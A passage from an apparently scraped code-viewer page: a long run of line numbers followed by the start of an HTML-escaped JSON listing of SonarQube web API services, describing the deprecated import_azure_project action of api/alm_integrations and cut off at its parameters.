7338 7339 7340 7341 7342 7343 7344 7345 7346 7347 7348 7349 7350 7351 7352 7353 7354 7355 7356 7357 7358 7359 7360 7361 7362 7363 7364 7365 7366 7367 7368 7369 7370 7371 7372 7373 7374 7375 7376 7377 7378 7379 7380 7381 7382 7383 7384 7385 7386 7387 7388 7389 7390 7391 7392 7393 7394 7395 7396 7397 7398 7399 7400 7401 7402 7403 7404 7405 7406 7407 7408 7409 7410 7411 7412 7413 7414 7415 7416 7417 7418 7419 7420 7421 7422 7423 7424 7425 7426 7427 7428 7429 7430 7431 7432 7433 7434 7435 7436 7437 7438 7439 7440 7441 7442 7443 7444 7445 7446 7447 7448 7449 7450 7451 7452 7453 7454 7455 7456 7457 7458 7459 7460 7461 7462 7463 7464 7465 7466 7467 7468 7469 7470 7471 7472 7473 7474 7475 7476 7477 7478 7479 7480 7481 7482 7483 7484 7485 7486 7487 7488 7489 7490 7491 7492 7493 7494 7495 7496 7497 7498 7499 7500 7501 7502 7503 7504 7505 7506 7507 7508 7509 7510 7511 7512 7513 7514 7515 7516 7517 7518 7519 7520 7521 7522 7523 7524 7525 7526 7527 7528 7529 7530 7531 7532 7533 7534 7535 7536 7537 7538 7539 7540 7541 7542 7543 7544 7545 7546 7547 7548 7549 7550 7551 7552 7553 7554 7555 7556 7557 7558 7559 7560 7561 7562 7563 7564 7565 7566 7567 7568 7569 7570 7571 7572 7573 7574 7575 7576 7577 7578 7579 7580 7581 7582 7583 7584 7585 7586 7587 7588 7589 7590 7591 7592 7593 7594 7595 7596 7597 7598 7599 7600 7601 7602 7603 7604 7605 7606 7607 7608 7609 7610 7611 7612 7613 7614 7615 7616 7617 7618 7619 7620 7621 7622 7623 7624 7625 7626 7627 7628 7629 7630 7631 7632 7633 7634 7635 7636 7637 7638 7639 7640 7641 7642 7643 7644 7645 7646 7647 7648 7649 7650 7651 7652 7653 7654 7655 7656 7657 7658 7659 7660 7661 7662 7663 7664 7665 7666 7667 7668 7669 7670 7671 7672 7673 7674 7675 7676 7677 7678 7679 7680 7681 7682 7683 7684 7685 7686 7687 7688 7689 7690 7691 7692 7693 7694 7695 7696 7697 7698 7699 7700 7701 7702 7703 7704 7705 7706 7707 7708 7709 7710 7711 7712 7713 7714 7715 7716 7717 7718 7719 7720 7721 7722 7723 7724 7725 7726 7727 7728 7729 7730 7731 7732 7733 7734 7735 7736 7737 7738 7739 7740 7741 7742 7743 7744 7745 7746 7747 7748 7749 7750 7751 7752 7753 7754 7755 7756 7757 7758 7759 7760 7761 7762 7763 7764 7765 7766 7767 7768 7769 7770 7771 7772 7773 7774 7775 7776 7777 7778 7779 7780 7781 7782 7783 7784 7785 7786 7787 7788 7789 7790 7791 7792 7793 7794 7795 7796 7797 7798 7799 7800 7801 7802 7803 7804 7805 7806 7807 7808 7809 7810 7811 7812 7813 7814 7815 7816 7817 7818 7819 7820 7821 7822 7823 7824 7825 7826 7827 7828 7829 7830 7831 7832 7833 7834 7835 7836 7837 7838 7839 7840 7841 7842 7843 7844 7845 7846 7847 7848 7849 7850 7851 7852 7853 7854 7855 7856 7857 7858 7859 7860 7861 7862 7863 7864 7865 7866 7867 7868 7869 7870 7871 7872 7873 7874 7875 7876 7877 7878 7879 7880 7881 7882 7883 7884 7885 7886 7887 7888 7889 7890 7891 7892 7893 7894 7895 7896 7897 7898 7899 7900 7901 7902 7903 7904 7905 7906 7907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 7921 7922 7923 7924 7925 7926 7927 7928 7929 7930 7931 7932 7933 7934 7935 7936 7937 7938 7939 7940 7941 7942 7943 7944 7945 7946 7947 7948 7949 7950 7951 7952 7953 7954 7955 7956 7957 7958 7959 7960 7961 7962 7963 7964 7965 7966 7967 7968 7969 7970 7971 7972 7973 7974 7975 7976 7977 7978 7979 7980 7981 7982 7983 7984 7985 7986 7987 7988 7989 7990 7991 7992 7993 7994 7995 7996 7997 7998 7999 8000 8001 8002 8003 8004 8005 8006 8007 8008 8009 8010 8011 8012 8013 8014 8015 8016 8017 8018 8019 8020 8021 8022 8023 8024 8025 8026 8027 8028 8029 8030 8031 8032 8033 8034 8035 8036 8037 8038 8039 8040 8041 8042 8043 8044 8045 8046 8047 8048 8049 8050 8051 8052 8053 8054 8055 8056 8057 8058 8059 8060 8061 8062 8063 8064 8065 8066 8067 8068 8069 8070 8071 8072 8073 8074 8075 8076 8077 8078 8079 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8091 8092 8093 8094 8095 8096 8097 8098 8099 8100 8101 8102 8103 8104 8105 8106 8107 8108 8109 8110 8111 8112 8113 8114 8115 8116 8117 8118 8119 8120 8121 8122 8123 8124 8125 8126 8127 8128 8129 8130 8131 8132 8133 8134 8135 8136 8137 8138 8139 8140 8141 8142 8143 8144 8145 8146 8147 8148 8149 8150 8151 8152 8153 8154 8155 8156 8157 8158 8159 8160 8161 8162 8163 8164 8165 8166 8167 8168 8169 8170 8171 8172 8173 8174 8175 8176 8177 8178 8179 8180 8181 8182 8183 8184 8185 8186 8187 8188 8189 8190 8191 8192 8193 8194 8195 8196 8197 8198 8199 8200 8201 8202 8203 8204 8205 8206 8207 8208 8209 8210 8211 8212 8213 8214 8215 8216 8217 8218 8219 8220 8221 8222 8223 8224 8225 8226 8227 8228 8229 8230 8231 8232 8233 8234 8235 8236 8237 8238 8239 8240 8241 8242 8243 8244 8245 8246 8247 8248 8249 8250 8251 8252 8253 8254 8255 8256 8257 8258 8259 8260 8261 8262 8263 8264 8265 8266 8267 8268 8269 8270 8271 8272 8273 8274 8275 8276 8277 8278 8279 8280 8281 8282 8283 8284 8285 8286 8287 8288 8289 8290 8291 8292 8293 8294 8295 8296 8297 8298 8299 8300 8301 8302 8303 8304 8305 8306 8307 8308 8309 8310 8311 8312 8313 8314 8315 8316 8317 8318 8319 8320 8321 8322 8323 8324 8325 8326 8327 8328 8329 8330 8331 8332 8333 8334 8335 8336 8337 8338 8339 8340 8341 8342 8343 8344 8345 8346 8347 8348 8349 8350 8351 8352 8353 8354 8355 8356 8357 8358 8359 8360 8361 8362 8363 8364 8365 8366 8367 8368 8369 8370 8371 8372 8373 8374 8375 8376 8377 8378 8379 8380 8381 8382 8383 8384 8385 8386 8387 8388 8389 8390 8391 8392 8393 8394 8395 8396 8397 8398 8399 8400 8401 8402 8403 8404 8405 8406 8407 8408 8409 8410 8411 8412 8413 8414 8415 8416 8417 8418 8419 8420 8421 8422 8423 8424 8425 8426 8427 8428 8429 8430 8431 8432 8433 8434 8435 8436 8437 8438 8439 8440 8441 8442 8443 8444 8445 8446 8447 8448 8449 8450 8451 8452 8453 8454 8455 8456 8457 8458 8459 8460 8461 8462 8463 8464 8465 8466 8467 8468 8469 8470 8471 8472 8473 8474 8475 8476 8477 8478 8479 8480 8481 8482 8483 8484 8485 8486 8487 8488 8489 8490 8491 8492 8493 8494 8495 8496 8497 8498 8499 8500 8501 8502 8503 8504 8505 8506 8507 8508 8509 8510 8511 8512 8513 8514 8515 8516 8517 8518 8519 8520 8521 8522 8523 8524 8525 8526 8527 8528 8529 8530 8531 8532 8533 8534 8535 8536 8537 8538 8539 8540 8541 8542 8543 8544 8545 8546 8547 8548 8549 8550 8551 8552 8553 8554 8555 8556 8557 8558 8559 8560 8561 8562 8563 8564 8565 8566 8567 8568 8569 8570 8571 8572 8573 8574 8575 8576 8577 8578 8579 8580 8581 8582 8583 8584 8585 8586 8587 8588 8589 8590 8591 8592 8593 8594 8595 8596 8597 8598 8599 8600 8601 8602 8603 8604 8605 8606 8607 8608 8609 8610 8611 8612 8613 8614 8615 8616 8617 8618 8619 8620 8621 8622 8623 8624 8625 8626 8627 8628 8629 8630 8631 8632 8633 8634 8635 8636 8637 8638 8639 8640 8641 8642 8643 8644 8645 8646 8647 8648 8649 8650 8651 8652 8653 8654 8655 8656 8657 8658 8659 8660 8661 8662 8663 8664 8665 8666 8667 8668 8669 8670 8671 8672 8673 8674 8675 8676 8677 8678 8679 8680 8681 8682 8683 8684 8685 8686 8687 8688 8689 8690 8691 8692 8693 8694 8695 8696 8697 8698 8699 8700 8701 8702 8703 8704 8705 8706 8707 8708 8709 8710 8711 8712 8713 8714 8715 8716 8717 8718 8719 8720 8721 8722 8723 8724 8725 8726 8727 8728 8729 8730 8731 8732 8733 8734 8735 8736 8737 8738 8739 8740 8741 8742 8743 8744 8745 8746 8747 8748 8749 8750 8751 8752 8753 8754 8755 8756 8757 8758 8759 8760 8761 8762 8763 8764 8765 8766 8767 8768 8769 8770 8771 8772 8773 8774 8775 8776 8777 8778 8779 8780 8781 8782 8783 8784 8785 8786 8787 8788 8789 8790 8791 8792 8793 8794 8795 8796 8797 8798 8799 8800 8801 8802 8803 8804 8805 8806 8807 8808 8809 8810 8811 8812 8813 8814 8815 8816 8817 8818 8819 8820 8821 8822 8823 8824 8825 8826 8827 8828 8829 8830 8831 8832 8833 8834 8835 8836 8837 8838 8839 8840 8841 8842 8843 8844 8845 8846 8847 8848 8849 8850 8851 8852 8853 8854 8855 8856 8857 8858 8859 8860 8861 8862 8863 8864 8865 8866 8867 8868 8869 8870 8871 8872 8873 8874 8875 8876 8877 8878 8879 8880 8881 8882 8883 8884 8885 8886 8887 8888 8889 8890 8891 8892 8893 8894 8895 8896 8897 8898 8899 8900 8901 8902 8903 8904 8905 8906 8907 8908 8909 8910 8911 8912 8913 8914 8915 8916 8917 8918 8919 8920 8921 8922 8923 8924 8925 8926 8927 8928 8929 8930 8931 8932 8933 8934 8935 8936 8937 8938 8939 8940 8941 8942 8943 8944 8945 8946 8947 8948 8949 8950 8951 8952 8953 8954 8955 8956 8957 8958 8959 8960 8961 8962 8963 8964 8965 8966 8967 8968 8969 8970 8971 8972 8973 8974 8975 8976 8977 8978 8979 8980 8981 8982 8983 8984 8985 8986 8987 8988 8989 8990 8991 8992 8993 8994 8995 8996 8997 8998 8999 9000 9001 9002 9003 9004 9005 9006 9007 9008 9009 9010 9011 9012 9013 9014 9015 9016 9017 9018 9019 9020 9021 9022 9023 9024 9025 9026 9027 9028 9029 9030 9031 9032 9033 9034 9035 9036 9037 9038 9039 9040 9041 9042 9043 9044 9045 9046 9047 9048 9049 9050 9051 9052 9053 9054 9055 9056 9057 9058 9059 9060 9061 9062 9063 9064 9065 9066 9067 9068 9069 9070 9071 9072 9073 9074 9075 9076 9077 9078 9079 9080 9081 9082 9083 9084 9085 9086 9087 9088 9089 9090 9091 9092 9093 9094 9095 9096 9097 9098 9099 9100 9101 9102 9103 9104 9105 9106 9107 9108 9109 9110 9111 9112 9113 9114 9115 9116 9117 9118 9119 9120 9121 9122 9123 9124 9125 9126 9127 9128 9129 9130 9131 9132 9133 9134 9135 9136 9137 9138 9139 9140 9141 9142 9143 9144 9145 9146 9147 9148 9149 9150 9151 9152 9153 9154 9155 9156 9157 9158 9159 9160 9161 9162 9163 9164 9165 9166 9167 9168 9169 9170 9171 9172 9173 9174 9175 9176 9177 9178 9179 9180 9181 9182 9183 9184 9185 9186 9187 9188 9189 9190 9191 9192 9193 9194 9195 9196 9197 9198 9199 9200 9201 9202 9203 9204 9205 9206 9207 9208 9209 9210 9211 9212 9213 9214 9215 9216 9217 9218 9219 9220 9221 9222 9223 9224 9225 9226 9227 9228 9229 9230 9231 9232 9233 9234 9235 9236 9237 9238 9239 9240 9241 9242 9243 9244 9245 9246 9247 9248 9249 9250 9251 9252 9253 9254 9255 9256 9257 9258 9259 9260 9261 9262 9263 9264 9265 9266 9267 9268 9269 9270 9271 9272 9273 9274 9275 9276 9277 9278 9279 9280 9281 9282 9283 9284 9285 9286 9287 9288 9289 9290 9291 9292 9293 9294 9295 9296 9297 9298 9299 9300 9301 9302 9303 9304 9305 9306 9307 9308 9309 9310 9311 9312 9313 9314 9315 9316 9317 9318 9319 9320 9321 9322 9323 9324 9325 9326 9327 9328 9329 9330 9331 9332 9333 9334 9335 9336 9337 9338 9339 9340 9341 9342 9343 9344 9345 9346 9347 9348 9349 9350 9351 9352 9353 9354 9355 9356 9357 9358 9359 9360 9361 9362 9363 9364 9365 9366 9367 9368 9369 9370 9371 9372 9373 9374 9375 9376 9377 9378 9379 9380 9381 9382 9383 9384 9385 9386 9387 9388 9389 9390 9391 9392 9393 9394 9395 9396 9397 9398 9399 9400 9401 9402 9403 9404 9405 9406 9407 9408 9409 9410 9411 9412 9413 9414 9415 9416 9417 9418 9419 9420 9421 9422 9423 9424 9425 9426 9427 9428 9429 9430 9431 9432 9433 9434 9435 9436 9437 9438 9439 9440 9441 9442 9443 9444 9445 9446 9447 9448 9449 9450 9451 9452 9453 9454 9455 9456 9457 9458 9459 9460 9461 9462 9463 9464 9465 9466 9467 9468 9469 9470 9471 9472 9473 9474 9475 9476 9477 9478 9479 9480 9481 9482 9483 9484 9485 9486 9487 9488 9489 9490 9491 9492 9493 9494 9495 9496 9497 9498 9499 9500 9501 9502 9503 9504 9505 9506 9507 9508 9509 9510 9511 9512 9513 9514 9515 9516 9517 9518 9519 9520 9521 9522 9523 9524 9525 9526 9527 9528 9529 9530 9531 9532 9533 9534 9535 9536 9537 9538 9539 9540 9541 9542 9543 9544 9545 9546 9547 9548 9549 9550 9551 9552 9553 9554 9555 9556 9557 9558 9559 9560 9561 9562 9563 9564 9565 9566 9567 9568 9569 9570 9571 9572 9573 9574 9575 9576 9577 9578 9579 9580 9581 9582 9583 9584 9585 9586 9587 9588 9589 9590 9591 9592 9593 9594 9595 9596 9597 9598 9599 9600 9601 9602 9603 9604 9605 9606 9607 9608 9609 9610 9611 9612 9613 9614 9615 9616 9617 9618 9619 9620 9621 9622 9623 9624 9625 9626 9627 9628 9629 9630 9631 9632 9633 9634 9635 9636 9637 9638 9639 9640 9641 9642 9643 9644 9645 9646 9647 9648 9649 9650 9651 9652 9653 9654 9655 9656 9657 9658 9659 9660 9661 9662 9663 9664 9665 9666 9667 9668 9669 9670 9671 9672 9673 9674 9675 9676 9677 9678 9679 9680 9681 9682 9683 9684 9685 9686 9687 9688 9689 9690 9691 9692 9693 9694 9695 9696 9697 9698 9699 9700 9701 9702 9703 9704 9705 9706 9707 9708 9709 9710 9711 9712 9713 9714 9715 9716 9717 9718 9719 9720 9721 9722 9723 9724 9725 9726 9727 9728 9729 9730 9731 9732 9733 9734 9735 9736 9737 9738 9739 9740 9741 9742 9743 9744 9745 9746 9747 9748 9749 9750 9751 9752 9753 9754 9755 9756 9757 9758 9759 9760 9761 9762 9763 9764 9765 9766 9767 9768 9769 9770 9771 9772 9773 9774 9775 9776 9777 9778 9779 9780 9781 9782 9783 9784 9785 9786 9787 9788 9789 9790 9791 9792 9793 9794 9795 9796 9797 9798 9799 9800 9801 9802 9803 9804 9805 9806 9807 9808 9809 9810 9811 9812 9813 9814 9815 9816 9817 9818 9819 9820 9821 9822 9823 9824 9825 9826 9827 9828 9829 9830 9831 9832 9833 9834 9835 9836 9837 9838 9839 9840 9841 9842 9843 9844 9845 9846 9847 9848 9849 9850 9851 9852 9853 9854 9855 9856 9857 9858 9859 9860 9861 9862 9863 9864 9865 9866 9867 9868 9869 9870 9871 9872 9873 9874 9875 9876 9877 9878 9879 9880 9881 9882 9883 9884 9885 9886 9887 9888 9889 9890 9891 9892 9893 9894 9895 9896 9897 9898 9899 9900 9901 9902 9903 9904 9905 9906 9907 9908 9909 9910 9911 9912 9913 9914 9915 9916 9917 9918 9919 9920 9921 9922 9923 9924 9925 9926 9927 9928 9929 9930 9931 9932 9933 9934 9935 9936 9937 9938 9939 9940 9941 9942 9943 9944 9945 9946 9947 9948 9949 9950 9951 9952 9953 9954 9955 9956 9957 9958 9959 9960 9961 9962 9963 9964 9965 9966 9967 9968 9969 9970 9971 9972 9973 9974 9975 9976 9977 9978 9979 9980 9981 9982 9983 9984 9985 9986 9987 9988 9989 9990 9991 9992 9993 9994 9995 9996 9997 9998 9999 10000 10001 10002 10003 10004 10005 10006 10007 10008 10009 10010 10011 10012 10013 10014 10015 10016 10017 10018 10019 10020 10021 10022 10023 10024 10025 10026 10027 10028 10029 10030 10031 10032 10033 10034 10035 10036 10037 10038 10039 10040 10041 10042 10043 10044 10045 10046 10047 10048 10049 10050 10051 10052 10053 10054 10055 10056 10057 10058 10059 10060 10061 10062 10063 10064 10065 10066 10067 10068 10069 10070 10071 10072 10073 10074 10075 10076 10077 10078 10079 10080 10081 10082 10083 10084 10085 10086 10087 10088 10089 10090 10091 10092 10093 10094 10095 10096 10097 10098 10099 10100 10101 10102 10103 10104 10105 10106 10107 10108 10109 10110 10111 10112 10113 10114 10115 10116 10117 10118 10119 10120 10121 10122 10123 10124 10125 10126 10127 10128 10129 10130 10131 10132 10133 10134 10135 10136 10137 10138 10139 10140 10141 10142 10143 10144 10145 10146 10147 10148 10149 10150 10151 10152 10153 10154 10155 10156 10157 10158 10159 10160 10161 10162 10163 10164 10165 10166 10167 10168 10169 10170 10171 10172 10173 10174 10175 10176 10177 10178 10179 10180 10181 10182 10183 10184 10185 10186 10187 10188 10189 10190 10191 10192 10193 10194 10195 10196 10197 10198 10199 10200 10201 10202 10203 10204 10205 10206 10207 10208 10209 10210 10211 10212 10213 10214 10215 10216 10217 10218 10219 10220 10221 10222 10223 10224 10225 10226 10227 10228 10229 10230 10231 10232 10233 10234 10235 10236 10237 10238 10239 10240 10241 10242 10243 10244 10245 10246 10247 10248 10249 10250 10251 10252 10253 10254 10255 10256 10257 10258 10259 10260 10261 10262 10263 10264 10265 10266 10267 10268 10269 10270 10271 10272 10273 10274 10275 10276 10277 10278 10279 10280 10281 10282 10283 10284 10285 10286 10287 10288 10289 10290 10291 10292 10293 10294 10295 10296 10297 10298 10299 10300 10301 10302 10303 10304 10305 10306 10307 10308 10309 10310 10311 10312 10313 10314 10315 10316 10317 10318 10319 10320 10321 10322 10323 10324 10325 10326 10327 10328 10329 10330 10331 10332 10333 10334 10335 10336 10337 10338 10339 10340 10341 10342 10343 10344 10345 10346 10347 10348 10349 10350 10351 10352 10353 10354 10355 10356 10357 10358 10359 10360 10361 10362 10363 10364 10365 10366 10367 10368 10369 10370 10371 10372 10373 10374 10375 10376 10377 10378 10379 10380 10381 10382 10383 10384 10385 10386 10387 10388 10389 10390 10391 10392 10393 10394 10395 10396 10397 10398 10399 10400 10401 10402 10403 10404 10405 10406 10407 10408 10409 10410 10411 10412 10413 10414 10415 10416 10417 10418 10419 10420 10421 10422 10423 10424 10425 10426 10427 10428 10429 10430 10431 10432 10433 10434 10435 10436 10437 10438 10439 10440 10441 10442 10443 10444 10445 10446 10447 10448 10449 10450 10451 10452 10453 10454 10455 10456 10457 10458 10459 10460 10461 10462 10463 10464 10465 10466 10467 10468 10469 10470 10471 10472 10473 10474 10475 10476 10477 10478 10479 10480 10481 10482 10483 10484 10485 10486 10487 10488 10489 10490 10491 10492 10493 10494 10495 10496 10497 10498 10499 10500 10501 10502 10503 10504 10505 10506 10507 10508 10509 10510 10511 10512 10513 10514 10515 10516 10517 10518 10519 10520 10521 10522 10523 10524 10525 10526 10527 10528 10529 10530 10531 10532 10533 10534 10535 10536 10537 10538 10539 10540 10541 10542 10543 10544 10545 10546 10547 10548 10549 10550 10551 10552 10553 10554 10555 10556 10557 10558 10559 10560 10561 10562 10563 10564 10565 10566 10567 10568 10569 10570 10571 10572 10573 10574 10575 10576 10577 10578 10579 10580 10581 10582 10583 10584 10585 10586 10587 10588 10589 10590 10591 10592 10593 10594 10595 10596 10597 10598 10599 10600 10601 10602 10603 10604 10605 10606 10607 10608 10609 10610 10611 10612 10613 10614 10615 10616 10617 10618 10619 10620 10621 10622 10623 10624 10625 10626 10627 10628 10629 10630 10631 10632 10633 10634 10635 10636 10637 10638 10639 10640 10641 10642 10643 10644 10645 10646 10647 10648 10649 10650 10651 10652 10653 10654 10655 10656 10657 10658 10659 10660 10661 10662 10663 10664 10665 10666 10667 10668 10669 10670 10671 10672 10673 10674 10675 10676 10677 10678 10679 10680 10681 10682 10683 10684 10685 10686 10687 10688 10689 10690 10691 10692 10693 10694 10695 10696 10697 10698 10699 10700 10701 10702 10703 10704 10705 10706 10707 10708 10709 10710 10711 10712 10713 10714 10715 10716 10717 10718 10719 10720 10721 10722 10723 10724 10725 10726 10727 10728 10729 10730 10731 10732 10733 10734 10735 10736 10737 10738 10739 10740 10741 10742 10743 10744 10745 10746 10747 10748 10749 10750 10751 10752 10753 10754 10755 10756 10757 10758 10759 10760 10761 10762 10763 10764 10765 10766 10767 10768 10769 10770 10771 10772 10773 10774 10775 10776 10777 10778 10779 10780 10781 10782 10783 10784 10785 10786 10787 10788 10789 10790 10791 10792 10793 10794 10795 10796 10797 10798 10799 10800 10801 10802 10803 10804 10805 10806 10807 10808 10809 10810 10811 10812 10813 10814 10815 10816 10817 10818 10819 10820 10821 10822 10823 10824 10825 10826 10827 10828 10829 10830 10831 10832 10833 10834 10835 10836 10837 10838 10839 10840 10841 10842 10843 10844 10845 10846 10847 10848 10849 10850 10851 10852 10853 10854 10855 10856 10857 10858 10859 10860 10861 10862 10863 10864 10865 10866 10867 10868 10869 10870 10871 10872 10873 10874 10875 10876 10877 10878 10879 10880 10881 10882 10883 10884 10885 10886 10887 10888 10889 10890 10891 10892 10893 10894 10895 10896 10897 10898 10899 10900 10901 10902 10903 10904 10905 10906 10907 10908 10909 10910 10911 10912 10913 10914 10915 10916 10917 10918 10919 10920 10921 10922 10923 10924 10925 10926 10927 10928 10929 10930 10931 10932 10933 10934 10935 10936 10937 10938 10939 10940 10941 10942 10943 10944 10945 10946 10947 10948 10949 10950 10951 10952 10953 10954 10955 10956 10957 10958 10959 10960 10961 10962 10963 10964 10965 10966 10967 10968 10969 10970 10971 10972 10973 10974 10975 10976 10977 10978 10979 10980 10981 10982 10983 10984 10985 10986 10987 10988 10989 10990 10991 10992 10993 10994 10995 10996 10997 10998 10999 11000 11001 11002 11003 11004 11005 11006 11007 11008 11009 11010 11011 11012 11013 11014 11015 11016 11017 11018 11019 11020 11021 11022 11023 11024 11025 11026 11027 11028 11029 11030 11031 11032 11033 11034 11035 11036 11037 11038 11039 11040 11041 11042 11043 11044 11045 11046 11047 11048 11049 11050 11051 11052 11053 11054 11055 11056 11057 11058 11059 11060 11061 11062 11063 11064 11065 11066 11067 11068 11069 11070 11071 11072 11073 11074 11075 11076 11077 11078 11079 11080 11081 11082 11083 11084 11085 11086 11087 11088 11089 11090 11091 11092 11093 11094 11095 11096 11097 11098 11099 11100 11101 11102 11103 11104 11105 11106 11107 11108 11109 11110 11111 11112 11113 11114 11115 11116 11117 11118 11119 11120 11121 11122 11123 11124 11125 11126 11127 11128 11129 11130 11131 11132 11133 11134 11135 11136 11137 11138 11139 11140 11141 11142 11143 11144 11145 11146 11147 11148 11149 11150 11151 11152 11153 11154 11155 11156 11157 11158 11159 11160 11161 11162 11163 11164 11165 11166 11167 11168 11169 11170 11171 11172 11173 11174 11175 11176 11177 11178 11179 11180 11181 11182 11183 11184 11185 11186 11187 11188 11189 11190 11191 11192 11193 11194 11195 11196 11197 11198 11199 11200 11201 11202 11203 11204 11205 11206 11207 11208 11209 11210 11211 11212 11213 11214 11215 11216 11217 11218 11219 11220 11221 11222 11223 11224 11225 11226 11227 11228 11229 11230 11231 11232 11233 11234 11235 11236 11237 11238 11239 11240 11241 11242 11243 11244 11245 11246 11247 11248 11249 11250 11251 11252 11253 11254 11255 11256 11257 11258 11259 11260 11261 11262 11263 11264 11265 11266 11267 11268 11269 11270 11271 11272 11273 11274 11275 11276 11277 11278 11279 11280 11281 11282 11283 11284 11285 11286 11287 11288 11289 11290 11291 11292 11293 11294 11295 11296 11297 11298 11299 11300 11301 11302 11303 11304 11305 11306 11307 11308 11309 11310 11311 11312 11313 11314 11315 11316 11317 11318 11319 11320 11321 11322 11323 11324 11325 11326 11327 11328 11329 11330 11331 11332 11333 11334 11335 11336 11337 11338 11339 11340 11341 11342 11343 11344 11345 11346 11347 11348 11349 11350 11351 11352 11353 11354 11355 11356 11357 11358 11359 11360 11361 11362 11363 11364 11365 11366 11367 11368 11369 11370 11371 11372 11373 11374 11375 11376 11377 11378 11379 11380 11381 11382 11383 11384 11385 11386 11387 11388 11389 11390 11391 11392 11393 11394 11395 11396 11397 11398 11399 11400 11401 11402 11403 11404 11405 11406 11407 11408 11409 11410 11411 11412 11413 11414 11415 11416 11417 11418 11419 11420 11421 11422 11423 11424 11425 11426 11427 11428 11429 11430 11431 11432 11433 11434 11435 11436 11437 11438 11439 11440 11441 11442 11443 11444 11445 11446 11447 11448 11449 11450 11451 11452 11453 11454 11455 11456 11457 11458 11459 11460 11461 11462 11463 11464 11465 11466 11467 11468 11469 11470 11471 11472 11473 11474 11475 11476 11477 11478 11479 11480 11481 11482 11483 11484 11485 11486 11487 11488 11489 11490 11491 11492 11493 11494 11495 11496 11497 11498 11499 11500 11501 11502 11503 11504 11505 11506 11507 11508 11509 11510 11511 11512 11513 11514 11515 11516 11517 11518 11519 11520 11521 11522 11523 11524 11525 11526 11527 11528 11529 11530 11531 11532 11533 11534 11535 11536 11537 11538 11539 11540 11541 11542 11543 11544 11545 11546 11547 11548 11549 11550 11551 11552 11553 11554 11555 11556 11557 11558 11559 11560 11561 11562 11563 11564 11565 11566 11567 11568 11569 11570 11571 11572 11573 11574 11575 11576 11577 11578 11579 11580 11581 11582 11583 11584 11585 11586 11587 11588 11589 11590 11591 11592 11593 11594 11595 11596 11597 11598 11599 11600 11601 11602 11603 11604 11605 11606 11607 11608 11609 11610 11611 11612 11613 11614 11615 11616 11617 11618 11619 11620 11621 11622 11623 11624 11625 11626 11627 11628 11629 11630 11631 11632 11633 11634 11635 11636 11637 11638 11639 11640 11641 11642 11643 11644 11645 11646 11647 11648 11649 11650 11651 11652 11653 11654 11655 11656 11657 11658 11659 11660 11661 11662 11663 11664 11665 11666 11667 11668 11669 11670 11671 11672 11673 11674 11675 11676 11677 11678 11679 11680 11681 11682 11683 11684 11685 11686 11687 11688 11689 11690 11691 11692 11693 11694 11695 11696 11697 11698 11699 11700 11701 11702 11703 11704 11705 11706 11707 11708 11709 11710 11711 11712 11713 11714 11715 11716 11717 11718 11719 11720 11721 11722 11723 11724 11725 11726 11727 11728 11729 11730 11731 11732 11733 11734 11735 11736 11737 11738 11739 11740 11741 11742 11743 11744 11745 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11770 11771 11772 11773 11774 11775 11776 11777 11778 11779 11780 11781 11782 11783 11784 11785 11786 11787 11788 11789 11790 11791 11792 11793 11794 11795 11796 11797 11798 11799 11800 11801 11802 11803 11804 11805 11806 11807 11808 11809 11810 11811 11812 11813 11814 11815 11816 11817 11818 11819 11820 11821 11822 11823 11824 11825 11826 11827 11828 11829 11830 11831 11832 11833 11834 11835 11836 11837 11838 11839 11840 11841 11842 11843 11844 11845 11846 11847 11848 11849 11850 11851 11852 11853 11854 11855 11856 11857 11858 11859 11860 11861 11862 11863 11864 11865 11866 11867 11868 11869 11870 11871 11872 11873 11874 11875 11876 11877 11878 11879 11880 11881 11882 11883 11884 11885 11886 11887 11888 11889 11890 11891 11892 11893 11894 11895 11896 11897 11898 11899 11900 11901 11902 11903 11904 11905 11906 11907 11908 11909 11910 11911 11912 11913 11914 11915 11916 11917 11918 11919 11920 11921 11922 11923 11924 11925 11926 11927 11928 11929 11930 11931 11932 11933 11934 11935 11936 11937 11938 11939 11940 11941 11942 11943 11944 11945 11946 11947 11948 11949 11950 11951 11952 11953 11954 11955 11956 11957 11958 11959 11960 11961 11962 11963 11964 11965 11966 11967 11968 11969 11970 11971 11972 11973 11974 11975 11976 11977 11978 11979 11980 11981 11982 11983 11984 11985 11986 11987 11988 11989 11990 11991 11992 11993 11994 11995 11996 11997 11998 11999 12000 12001 12002 12003 12004 12005 12006 12007 12008 12009 12010 12011 12012 12013 12014 12015 12016 12017 12018 12019 12020 12021 12022 12023 12024 12025 12026 12027 12028 12029 12030 12031 12032 12033 12034 12035 12036 12037 12038 12039 12040 12041 12042 12043 12044 12045 12046 12047 12048 12049 12050 12051 12052 12053 12054 12055 12056 12057 12058 12059 12060 12061 12062 12063 12064 12065 12066 12067 12068 12069 12070 12071 12072 12073 12074 { \u0026#34;webServices\u0026#34;: [ { \u0026#34;path\u0026#34;: \u0026#34;api/alm_integrations\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage DevOps Platform Integrations\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;import_azure_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a SonarQube project with the information from the provided Azure DevOps project.\\u003Cbr/\\u003EAutoconfigure pull request decoration mechanism.\\u003Cbr/\\u003ERequires the \u0026#39;Create Projects\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is deprecated, please use its API v2 version /api/v2/dop-translation/bound-projects\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter almSetting becomes optional if you have only one configuration for Azure\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { 